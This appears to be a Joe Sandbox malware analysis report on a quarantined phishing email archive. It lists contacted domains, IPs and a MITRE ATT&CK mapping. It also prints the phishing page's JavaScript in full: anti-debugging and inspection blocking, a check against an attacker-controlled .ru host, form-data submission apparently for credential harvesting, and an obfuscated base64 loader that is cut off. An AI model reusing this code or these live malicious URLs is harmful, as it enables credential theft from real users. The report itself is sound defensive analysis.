Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe

Queries volume information: C:\Program Files (x86)\Microsoft Office\root\Office16\AI\WordCombinedFloatieLreOnline.onnx VolumeInformation

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	1 Process Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	1 Modify Registry	LSASS Memory	1 File and Directory Discovery	Remote Desktop Protocol	Data from Removable Media	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 DLL Side-Loading	1 DLL Side-Loading	1 Process Injection	Security Account Manager	13 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Rundll32	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	5 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file:///C:/Users/user/AppData/Local/Microsoft/Windows/INetCache/Content.Outlook/J8VVYD4B/c.gaudenzi@almaviva.it_%7BRANDOM_NUMBER5%7DCQDM.html#=c.gaudenzi@almaviva.it	0%	Avira URL Cloud	safe
https://login.windows.localnullK(	0%	Avira URL Cloud	safe
https://r4.perfidious2.com/7Ns2j_S_gr7Bb9fugBSyePMT2hE/	100%	Avira URL Cloud	phishing
https://yqhs4qoapmkfgt7y0vqdcc2orpbx2vrvxi73sjgje6aziuktsdghs.bfcgpixdwnw.ru/xrwocikneyshqcuobdiBWotvECMIOKRYUODSYRKAHNRUPOWNPE	100%	Avira URL Cloud	malware
https://login.windows.localMicrosR	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
yqhs4qoapmkfgt7y0vqdcc2orpbx2vrvxi73sjgje6aziuktsdghs.bfcgpixdwnw.ru	104.21.65.72	true	false	high
bg.microsoft.map.fastly.net	199.232.210.172	true	false	high
dual-spov-0006.spov-msedge.net	13.107.137.11	true	false	high
code.jquery.com	151.101.2.137	true	false	high
cdnjs.cloudflare.com	104.17.25.14	true	false	high
challenges.cloudflare.com	104.18.94.41	true	false	high
www.google.com	142.250.181.100	true	false	high
r4.perfidious2.com	172.67.135.197	true	false	high
c.s-microsoft.com	unknown	unknown	false	high
onedrive.live.com	unknown	unknown	false	high
www.onedrive.com	unknown	unknown	false	high
assets.onestore.ms	unknown	unknown	false	high
ajax.aspnetcdn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/flow/ov1/149601342:1733210094:SCmeHnEMNlfzF0fVlKbBI035_JOp7MYYRReRQkLVXy0/8ec20e0108594229/nwA.jf.7G3rkxvg7hVkixXU9Thr8CJZF03wCjdTjTzM-1733213158-1.1.1.1-KqemN0K4LQpTMLMKvGIouyQkBPxEAZNCA9WBebInxDdcVR_8mSrI9dE7sPs209dA	false		high
file:///C:/Users/user/AppData/Local/Microsoft/Windows/INetCache/Content.Outlook/J8VVYD4B/c.gaudenzi@almaviva.it_%7BRANDOM_NUMBER5%7DCQDM.html#=c.gaudenzi@almaviva.it	false	Avira URL Cloud: safe	unknown
https://code.jquery.com/jquery-3.6.0.min.js	false		high
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/zhsb1/0x4AAAAAAAzn-jiwwut9VyvG/auto/fbE/normal/auto/	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/pat/8ec20e0108594229/1733213162687/5db9e4ec9dfa903e7e1818df942884ea62bde2d81ca4bfa8ba0817ca6ace682b/ZEsw3d4CNoL5Bqk	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8ec20e0108594229&lang=auto	false		high
https://r4.perfidious2.com/7Ns2j_S_gr7Bb9fugBSyePMT2hE/	false	Avira URL Cloud: phishing	unknown
https://yqhs4qoapmkfgt7y0vqdcc2orpbx2vrvxi73sjgje6aziuktsdghs.bfcgpixdwnw.ru/xrwocikneyshqcuobdiBWotvECMIOKRYUODSYRKAHNRUPOWNPE	false	Avira URL Cloud: malware	unknown
https://onedrive.live.com/	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/i/8ec20e0108594229/1733213162689/-tr6mdixVB1rYgg	false		high
https://challenges.cloudflare.com/turnstile/v0/b/a6e12e96a2d5/api.js	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://outlook.live.com/owa/	chromecache_155.11.dr	false		high
https://login.windows.localnullK(	OUTLOOK_16_0_16827_20130-20241203T0305000970-6692.etl.2.dr	false	Avira URL Cloud: safe	unknown
https://www.skype.com/en/	chromecache_155.11.dr	false		high
https://products.office.com/en-us/home	chromecache_155.11.dr	false		high
https://assets.onestore.ms/cdnfiles/external/mwf/long/v1/v1.25.0/css/mwf-west-european-default.min.c	chromecache_155.11.dr	false		high
https://login.windows.localnull	OUTLOOK_16_0_16827_20130-20241203T0305000970-6692.etl.2.dr	false		high
https://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.9.1.min.js	chromecache_155.11.dr	false		high
https://onedrive.live.com/about/en-us/	chromecache_155.11.dr	false		high
https://products.office.com/en-us/microsoft-teams/free?icid=SSM_AS_Promo_Apps_MicrosoftTeams	chromecache_155.11.dr	false		high
https://www.onenote.com/	chromecache_155.11.dr	false		high
https://login.windows.locale.OR	OUTLOOK_16_0_16827_20130-20241203T0305000970-6692.etl.2.dr	false		high
https://www.xbox.com/	chromecache_155.11.dr	false		high
http://schema.org/Organization	chromecache_155.11.dr	false		high
http://github.com/requirejs/almond/LICENSE	chromecache_153.11.dr, chromecache_152.11.dr	false		high
https://login.windows.localMicrosR	OUTLOOK_16_0_16827_20130-20241203T0305000970-6692.etl.2.dr	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.18.94.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
172.67.135.197	r4.perfidious2.com	United States	13335	CLOUDFLARENETUS	false
104.21.7.52	unknown	United States	13335	CLOUDFLARENETUS	false
216.58.208.228	unknown	United States	15169	GOOGLEUS	false
104.21.65.72	yqhs4qoapmkfgt7y0vqdcc2orpbx2vrvxi73sjgje6aziuktsdghs.bfcgpixdwnw.ru	United States	13335	CLOUDFLARENETUS	false
13.107.137.11	dual-spov-0006.spov-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
104.18.95.41	unknown	United States	13335	CLOUDFLARENETUS	false
142.250.181.100	www.google.com	United States	15169	GOOGLEUS	false
151.101.2.137	code.jquery.com	United States	54113	FASTLYUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
104.17.25.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.16
192.168.2.4

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1567184
Start date and time:	2024-12-03 09:04:30 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 11s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	22
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Quarantined Messages-9.zip
Detection:	MAL
Classification:	mal56.troj.winZIP@37/75@42/13
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .zip

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, RuntimeBroker.exe, SIHClient.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 52.109.28.46, 52.113.194.132, 52.109.32.7, 2.19.198.40, 23.32.238.89, 23.32.238.155, 199.232.210.172, 52.109.112.174, 216.58.208.227, 172.217.19.238, 74.125.205.84, 172.217.19.202, 20.42.73.26, 34.104.35.123, 172.217.17.42, 20.42.65.84, 199.232.214.172, 20.101.246.164, 184.30.21.171, 23.32.238.121, 23.32.238.152, 23.32.238.144, 23.32.238.130, 23.32.238.154, 23.32.238.129, 23.32.238.161, 2.19.198.66, 2.19.198.65, 152.199.19.160, 2.19.198.51, 88.221.70.210, 23.32.238.153, 23.218.209.163, 2.19.198.41, 172.217.17.35
Excluded domains from analysis (whitelisted): odwebp.trafficmanager.net, assets.onestore.ms.edgekey.net, odc.officeapps.live.com, slscr.update.microsoft.com, e13678.dscb.akamaiedge.net, clientservices.googleapis.com, a767.dspw65.akamai.net, www.microsoft.com-c-3.edgekey.net, clients2.google.com, login.live.com, onedscolprdeus09.eastus.cloudapp.azure.com, onedscolprdeus02.eastus.cloudapp.azure.com, update.googleapis.com, officeclient.microsoft.com, wu-b-net.trafficmanager.net, asia.odcsm1.live.com.akadns.net, a1778.g2.akamai.net, a1864.dscd.akamai.net, e10583.dspg.akamaiedge.net, ecs.office.com, fs.microsoft.com, ajax.googleapis.com, statics-marketingsites-wcus-ms-com.akamaized.net, prod.roaming1.live.com.akadns.net, s-0005-office.config.skype.com, assets.onestore.ms.akadns.net, c-s.cms.ms.akadns.net, edgedl.me.gvt1.com, s-0005.s-msedge.net, c.s-microsoft.com-c.edgekey.net, ecs.office.trafficmanager.net, clients.l.google.com, europe.configsvc1.live.com.akadns.net, omex.cdn.office.net, odc-web-brs.onedrive.akad
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Input	Output
URL: file:///C:/Users/user/AppData/Local/Microsoft/Windows/INetCache/Content.Outlook/J8VVYD4B/c.gaudenzi@almaviva.it_%7BRANDOM_NUMBER5%7DCQDM.html#=c.gaudenzi@almaviva.it Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: file:///C:/Users/user/AppData/Local/Microsoft/Windows/INetCache/Content.Outlook/J8VVYD4B/c.gaudenzi@almaviva.it_%7BRANDOM_NUMBER5%7DCQDM.html#=c.gaudenzi@almaviva.it Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: file:///C:/Users/user/AppData/Local/Microsoft/Windows/INetCache/Content.Outlook/J8VVYD4B/c.gaudenzi@almaviva.it_%7BRANDOM_NUMBER5%7DCQDM.html#=c.gaudenzi@almaviva.it Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: file:///C:/Users/user/AppData/Local/Microsoft/Windows/INetCache/Content.Outlook/J8VVYD4B/c.gaudenzi@almaviva.it_%7BRANDOM_NUMBER5%7DCQDM.html#=c.gaudenzi@almaviva.it Model: Joe Sandbox AI	{ "brands": [] }
	{ "brands": [] }
URL: JavaScript Model: Joe Sandbox AI	{ "risk_score": 6, "reasoning": "Script implements anti-debugging and anti-inspection measures (blocking dev tools, debugger detection, webdriver checks) and forces redirect to onedrive.com. While these techniques can be legitimate for security, the combination of obfuscated variable names, debugger statements, and forced redirects suggests potential suspicious behavior. However, the redirect is to a trusted Microsoft domain, which reduces the risk score." }
if (navigator.webdriver \|\| window.callPhantom \|\| window._phantom \|\| navigator.userAgent.includes("Burp")) { window.location = "about:blank"; } document.addEventListener('keydown', function(event) { if (event.keyCode === 123) { event.preventDefault(); return false; } if ( (event.ctrlKey && event.keyCode === 85) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 73) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 67) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 74) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 75) \|\| (event.ctrlKey && event.keyCode === 72) \|\| (event.metaKey && event.altKey && event.keyCode === 73) \|\| (event.metaKey && event.altKey && event.keyCode === 67) \|\| (event.metaKey && event.keyCode === 85) ) { event.preventDefault(); return false; } }); document.addEventListener('contextmenu', function(event) { event.preventDefault(); return false; }); (function mvinmTMngg() { let lPwuPxPLlf = false; const nOcIadUuyL = 100; setInterval(function() { const NjajGHKXvs = performance.now(); debugger; const VahIveYapk = performance.now(); if (VahIveYapk - NjajGHKXvs > nOcIadUuyL && !lPwuPxPLlf) { lPwuPxPLlf = true; window.location.replace('https://www.onedrive.com'); } }, 1000); })();
URL: JavaScript Model: Joe Sandbox AI	{ "risk_score": 9, "reasoning": "High-risk script showing multiple suspicious behaviors: 1) Makes requests to a suspicious Russian domain (.ru) with an unusually long, seemingly random hostname 2) Contains form data exfiltration logic 3) Implements redirects to OneDrive (potentially for phishing) 4) Uses Cloudflare Turnstile but appears to be using it maliciously 5) Contains obfuscated variable names and paths. The pattern suggests credential harvesting or phishing activity." }
turnstile.render('#cf', { sitekey: '0x4AAAAAAAzn-jiwwut9VyvG', 'error-callback': fyAINDIBMB, callback: NRYGUYMuaE, }); function fyAINDIBMB() { turnstile.reset(); } function NRYGUYMuaE() { var eCuMxYxkwa = document.getElementById("wHRHUXwdHF"); eCuMxYxkwa.onsubmit = function (event) { event.preventDefault(); }; document.getElementById("pagelink").value = 'b9fug'; var gJwLLTnhqM = "../tviFQZy2gxvJCCy6m8zrHYiFMmvf1OWfoc"; fetch('https://YqhS4qoAPMkFgT7Y0VqDcc2oRpBx2vRvXI73sjgje6aziUKTsDGhs.bfcgpixdwnw.ru/xrwocikneyshqcuobdiBWotvECMIOKRYUODSYRKAHNRUPOWNPE', { method: "GET", }).then(response => { return response.text() }).then(text => { if(text == 0){ fetch(gJwLLTnhqM, { method: "POST", body: new FormData(eCuMxYxkwa) }).then(response => { return response.json(); }).then(data => { if(data['status'] == 'success'){ location.reload(); } if(data['status'] == 'error'){ window.location.replace('https://www.onedrive.com'); } }); } if(text != 0){ window.location.replace('https://www.onedrive.com'); } }) .catch(error => { window.location.replace('https://www.onedrive.com'); }); }
URL: JavaScript Model: Joe Sandbox AI	{ "risk_score": 8, "reasoning": "High risk due to multiple suspicious behaviors: 1) Makes request to suspicious Russian domain (.ru) with an unusually long, seemingly random hostname, 2) Contains obfuscated/randomized variable names, 3) Uses form data exfiltration via POST request, 4) Implements multiple redirects including fallback behaviors, 5) Attempts to mask activity behind Cloudflare Turnstile. Only slightly mitigated by redirect to legitimate azure.com domain." }
turnstile.render('#cf', { sitekey: '0x4AAAAAAAzn-jiwwut9VyvG', 'error-callback': UHwXNdrhoy, callback: zAJsLoezBQ, }); function UHwXNdrhoy() { turnstile.reset(); } function zAJsLoezBQ() { var GvbWGxzXqg = document.getElementById("leZpmmisoM"); GvbWGxzXqg.onsubmit = function (event) { event.preventDefault(); }; document.getElementById("pagelink").value = 'b9fug'; var DeZcTXAbPQ = "../zuEeaaWuXZTonRPQQ1d5mFWNxhJj03yhI02"; fetch('https://u4bS6O8ilogu0J8DzLhCX74WjNnj4HSH9e9vYe6E7L49LDg5Z3uQYexhcoQ.ygncsqvu.ru/nVXaPVmLSgKstuoipGeQBszCNXECPROIGOATDFGESCZQAWUFSNGNIDUBIYRTXLAQNUYWZAAH', { method: "GET", }).then(response => { return response.text() }).then(text => { if(text == 0){ fetch(DeZcTXAbPQ, { method: "POST", body: new FormData(GvbWGxzXqg) }).then(response => { return response.json(); }).then(data => { if(data['status'] == 'success'){ location.reload(); } if(data['status'] == 'error'){ window.location.replace('https://www.azure.com'); } }); } if(text != 0){ window.location.replace('https://www.azure.com'); } }) .catch(error => { window.location.replace('https://www.azure.com'); }); }
URL: file:///C:/Users/user/AppData/Local/Microsoft/Windows/INetCache/Content.Outlook/J8VVYD4B/c.gaudenzi@almaviva.it_%7BRANDOM_NUMBER5%7DCQDM.html#=c.gaudenzi@almaviva.it Model: Joe Sandbox AI	{ "brands": [] }
	{ "brands": [] }
URL: file:///C:/Users/user/AppData/Local/Microsoft/Windows/INetCache/Content.Outlook/J8VVYD4B/c.gaudenzi@almaviva.it_%7BRANDOM_NUMBER5%7DCQDM.html#=c.gaudenzi@almaviva.it Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Verifying your browser to ensure a secure connection.", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: JavaScript Model: Joe Sandbox AI	{ "risk_score": 9, "reasoning": "High-risk script detected with multiple red flags: uses atob() for obfuscation, contains encoded malicious URL (perfidious2.com), uses document.write() for DOM manipulation, includes anti-debugging measures, and attempts to prevent inspection through keyboard event blocking. The code appears designed to evade detection while potentially executing malicious actions." }
if(atob("aHR0cHM6Ly9Vbi5wZXJmaWRpb3VzMi5jb20vN05zMmpfU19ncjdCYjlmdWdCU3llUE1UMmhFLw==") == "nomatch"){ document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuNi4wLm1pbi5qcyI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2hhbGxlbmdlcy5jbG91ZGZsYXJlLmNvbS90dXJuc3RpbGUvdjAvYXBpLmpzP3JlbmRlcj1leHBsaWNpdCI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2NyeXB0by1qcy80LjEuMS9jcnlwdG8tanMubWluLmpzIj48L3NjcmlwdD4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPUVkZ2UsY2hyb21lPTEiPg0KICAgIDxtZXRhIG5hbWU9InJvYm90cyIgY29udGVudD0ibm9pbmRleCwgbm9mb2xsb3ciPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU+JiM4MjAzOzwvdGl0bGU+DQogICAgPHN0eWxlPg0KYm9keSB7DQogIGJhY2tncm91bmQtY29sb3I6ICNmZmY7DQogIGhlaWdodDogMTAwJTsNCiAgb3ZlcmZsb3c6IGhpZGRlbjsNCn0NCiNFVUpJZlVrclNPIGg0e21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOi41cmVtO2ZvbnQtd2VpZ2h0OjUwMDtsaW5lLWhlaWdodDoxLjI7fQ0KI0VVSklmVWtyU08gaDR7Zm9udC1zaXplOmNhbGMoMS4zKTt9DQpAbWVkaWEgKG1pbi13aWR0aDoxMjAwcHgpew0KI0VVSklmVWtyU08gaDR7Zm9udC1zaXplOjEuNXJlbTt9DQp9DQojRVVKSWZVa3JTTyBwe21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOjFyZW07fQ0KI0VVSklmVWtyU08uY2FwdGNoY